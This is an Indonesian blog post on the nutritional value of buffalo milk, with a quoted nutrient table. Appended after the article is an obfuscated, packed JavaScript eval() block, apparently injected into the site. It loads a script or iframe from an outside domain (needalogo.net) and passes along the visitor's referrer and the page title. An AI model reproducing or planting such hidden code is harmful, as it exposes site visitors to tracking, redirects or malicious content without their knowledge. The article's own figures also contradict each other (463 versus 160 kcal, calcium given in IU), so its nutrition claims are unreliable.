browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Susu Kerbau nan Lezatto

Posted by on March 11, 2014

susu kerbau

Selain susu sapi dan susu kambing, ternyata ada susu lain yang tidak kalah bergizinya lho.  Ada susu unta, susu domba, susu kuda juga susu kerbau. Susu kerbau mudah dikenali dari warnanya yang putih bersih. Bahkan, lebih putih dari susu sapi. Warna putih ini disebabkan oleh sedikitnya kandungan pigmen karoten kuning yang biasanya merupakan tanda adanya kandungan vitamin A. Hal ini juga berarti secara susu kerbau signifikan lebih rendah kolesterol dan tinggi kalsium dibanding susu sapi, domba atau susu kambing.

Susu kerbau adalah produk susu segar yang benar-benar alami, dan dapat dikonsumsi seperti susu hewan jenis lainnya. Dan dalam uji coba rasa yang dilakukan di inggris untuk mencicipi segala rasa susu  sapi, kambing dan kerbau. kebanyakan para peserta lebih memilih rasa dari susu kerbau. Ini karena cita rasanya lebih halus dan tidak meninggalkan jejak rasa asam.

Susu kerbau mengandung sedikit air, itu sebabnya susu ini mudah diolah secara variatif menjadi mentega, keju, susu kental manis, es krim, dan yoghurt. Karena teksturnya lebih pekat daripada susu sapi, susu kerbau menjadi lebih hemat ketika diolah.

Susu kerbau memiliki kandungan gizi tidak kalah dibandingkan susu sapi. Susu kerbau mengandung 4,5 g protein, 8 g lemak, 463 Kkal dan 195 iu kalsium. Susu kerbau lebih kental dibandingkan susu sapi. Hal ini karena susu kerbau mengandung 16% bahan padat, sedang susu sapi bahan padatnya 12%. Kandungan lemak susu kerbau juga lebih banyak, sehingga kandungan energinya lebih tinggi dari susu sapi.

Susu kerbau selain sangat kaya akan kalsium seperti tersebut diatas . juga memiliki banyak kandungan Magnesium serta Kalium dan Fosfor.  Selain itu, susu ini juga mengandung zat Besi, Sodium, Seng, Tembaga dan Mangan dalam jumlah kecil. Penelitian juga menunjukkan susu kerbau merupakan sumber yang kaya akan Riboflavin dan Vitamin B12. Thiamin juga ditemukan dalam jumlah yang banyak pada susu ini bersama  sejumlah kecil Folat, Asam pantotenat, vitamin B6 dan Niacin. Susu Kerbau mengandung energi sebesar 160 kilokalori, protein 6,3 gram, karbohidrat 7,1 gram, lemak 12 gram, kalsium 216 miligram, fosfor 101 miligram, dan zat besi 0 miligram.  Selain itu di dalam Susu Kerbau juga terkandung vitamin A sebanyak 80 IU, vitamin B1 0,04 miligram dan vitamin C 1 miligram.

Selengkapnya mengenai kandungan gizi susu kerbau adalah sebagai berikut seperti dikutip dari sini

Nama Bahan Makanan : Susu Kerbau
Nama Lain / Alternatif : -
Banyaknya Susu Kerbau yang diteliti (Food Weight) = 100 gr
Bagian Susu Kerbau yang dapat dikonsumsi (Bdd / Food Edible) = 100 %
Jumlah Kandungan Energi Susu Kerbau = 160 kkal
Jumlah Kandungan Protein Susu Kerbau = 6,3 gr
Jumlah Kandungan Lemak Susu Kerbau = 12 gr
Jumlah Kandungan Karbohidrat Susu Kerbau = 7,1 gr
Jumlah Kandungan Kalsium Susu Kerbau = 216 mg
Jumlah Kandungan Fosfor Susu Kerbau = 101 mg
Jumlah Kandungan Zat Besi Susu Kerbau = 0 mg
Jumlah Kandungan Vitamin A Susu Kerbau = 80 IU
Jumlah Kandungan Vitamin B1 Susu Kerbau = 0,04 mg
Jumlah Kandungan Vitamin C Susu Kerbau = 1 mg
Khasiat / Manfaat Susu Kerbau : – (Belum Tersedia)
Huruf Awal Nama Bahan Makanan : S
Sumber Informasi Gizi : Berbagai publikasi Kementerian Kesehatan Republik Indonesia serta sumber lainnya.

atau dapat melihat tabel berikut yang bersumber dari sini:
tabel komposisi

Dengan potensi dan kandungan gizinya yang sangat besar,tidaklah mengherankan jika susu kerbau dijuluki sebagai Emas Putih. Jika dilihat dari komposisi nilai gizi yang terdapat di dalamnya,susu kerbau tidak kalah dengan susu asal ternak ruminansia lainnya. Bahkan kandungan protein dan lemaknya sangat tinggi yaitu 5,5-10,5% dua kali lipat dari susu lain.

Sayang sekali di Indonesia penggunaan susu kerbau tidak sejamak susu sapi karena  hanya dikonsumsi di beberapa daerah seperti  Sumatera Utara, Sumatera Barat, Sumatera Selatan, Sulawesi Selatan, Sumbawa dan beberapa daerah lainnya.
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply